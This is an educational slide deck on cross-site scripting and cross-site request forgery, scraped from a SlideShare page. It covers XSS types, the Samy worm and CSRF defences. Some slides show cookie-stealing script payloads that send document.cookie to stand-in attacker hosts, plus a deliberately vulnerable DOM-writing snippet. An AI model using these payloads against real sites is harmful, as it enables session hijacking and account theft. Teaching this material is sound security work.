Your SlideShare is downloading. ×
Upcoming SlideShare
Loading in...5

Thanks for flagging this SlideShare!

Oops! An error has occurred.

Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply



Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

No notes for slide


  • 1. XSS and CSRF
  • 2. A web application may include malicious HTML tags or script in a dynamically generated page based on invalidated input from faithful sources. This can be a problem when a web server does not ensure that generated pages are properly encoded to prevent unwanted execution of scripts. however if input is not validated to prevent malicious HTML from being presented to the user may cause a serious problem.
  • 3. Usually web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. Those scripts may be written in a variety of scripting languages and are execute by the client's browser. Most of the browsers are installed in system with the capability to execute scripts by default.
  • 4. The best example of a Web Worm is the Samy Worm, the first major worm of its kind, spread by exploiting a persistent Cross-Site Scripting vulnerability in’s personal profile web page template. In October of 2005, Samy Kamkar the worms author, updated h is profile Web page with the first copy of the JavaScript exploit code. When an authenticated MySpace user viewed Samy's profile, the worm payload using XHR, forced the user's web browser to add Samy as a friend, include Samy as the user's hero ("but most of all, samy is my hero") , and alter the user's profile with a copy of the malware code. Starting with a single visitor the Samy Worm infection grew exponentially to over 1,000,000 infected user profiles in under 24 hours. MySpace was forced to shutdown its website in order to stop the infection, fix the vulnerability, and perform clean up.
  • 5. Cross-site Scripting (XSS) is an attack technique which involves echoing attacker-supplied code into a user's browser instance. A browser instance can be a standard web browser client, or a browser object embedded in a software product such as the browser within like an RSS reader, or an email client. The code itself is usually written in HTML/JavaScript, but may also extend to VBScript, ActiveX, Java, Flash, or any other browser-supported technology.
  • 6.  Non-persistent,  Persistent and  DOM-based.
  • 7.  SSL-Encrypted Connections May Be Exposed  Attacks May Be Persistent Through Poisoned Cookies  Attacker May Access Restricted Web Sites from the Client  Domain Based Security Policies May Be Violated
  • 8. Many web sites has function where registered users may post messages which are stored in a database of some kind. A registered user is commonly tracked using a session ID cookie authorizing them to post. If an attacker were to post a message containing a specially crafted JavaScript, a user reading this message could have their cookies and their account extricated.
  • 9. <SCRIPT> document.location= 'http://example/cgi- bin/cookiesteal.cgi?'+document.cookie </SCRIPT> Due to the fact that the attack Javscirpt is stored on the server side, this form of xss attack is persistent
  • 10. Many web portals offer a personalized view of a web site and may greet a logged in user with "Welcome, <your username>". Sometimes the data referencing a logged in user is stored within the query string of a URL and echoed to the screen
  • 11. http://example/index.php? sessionid=12312312&username=<script>d ocument.location='http://attackerhost/c gi- bin/cookiesteal.cgi?'+document.cookie </script>
  • 12. DOM based XSS does not need the web server to receive the malicious XSS payload. Instead, in a DOM-based Cross Site referencing , the attacker scolds embedding of attacker data in the client side at runtime , from within a page which is served from the web server.
  • 13. Assume that the URL   contains the following content: <HTML><TITLE>Welcome! </TITLE>Hi<SCRIPT>var pos=document.URL.indexOf("name=") +5;document.write(document.URL.substri ng(pos,document.URL.length));</SCRIPT > Welcome to our system…</HTML> Reference from
  • 14. In this example the JavaScript code embeds part of document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as name=<script>alert(document.cookie)</scr ipt>   which will embed the malicious JavaScript payload into the page at runtime.
  • 15.   <SCRIPT>   var pos=document.URL.indexOf("name=")+5;   var name=document.URL.substring(pos,document. URL.length);   if (name.match(/^[a-zA-Z0-9]$/))   {        document.write(name);   }   else   {         window.alert("Security Error ");   }   </SCRIPT> Reference from
  • 16. CSRF is defined as an attack of a malicious Web site which ask a user’s Web browser to do a malicious action on a trusted site. CSRF is also known as Cross-Site Reference attack, One-Click attack, Sidejacking, or Session Riding.
  • 17. Opposite to Cross-Site Scripting (XSS), which exploits the fath a user has for a particular site, CSRF exploits the fath that a site has for a particular user. It is not necessarily true that defences against XSS also protect against CSRF.
  • 18. Example
  • 19. Example The HTML form causes a GET request to append the form data to an URL: to=bob g=When+the+user+... The page send_mail.htm takes the URL data and generates an e-mail to the recipient from the user.
  • 20. If an attacker can force the user’s browser to send a HTTP GET request to send_mail.html, then this page will send an e-mail on the user’s behalf containing data chosen by the attacker. Source: CROSS-SITE REQUESTFORGERIES, Kjell Jørgen Hole ,NoWires Research Group ,Department of informatics, University of Bergen
  • 21.  User must be “logged into” Trusted site and also visit Attacking site.  If Trusted site accepts GET requests, then the <img> tag can be used to generate a malicious request.  If Trusted site only accepts POST requests, then it is necessary to use a JavaScript to generate malicious request.
  • 22.  Allow a GET request to only retrieve data, not modify data on the server › This protects sites from CSRF using <img>tags or other types of GET requests › Recommendation follows RFC 2616
  • 23.  Require all POST requests to include a pseudorandom value › Cryptographically strong value should be set as a cookie in the user’s browser and be included in every form submitted to the server. › The server should only accept POST request if the random values in the cookie and the form are equal Attacker doesn’t have access to cookie
  • 24.  Log out immediately after a task has been completed  Do not start other tasks while a sensitive task is performed  Never store usernames/password in browser
  • 25. Thanks !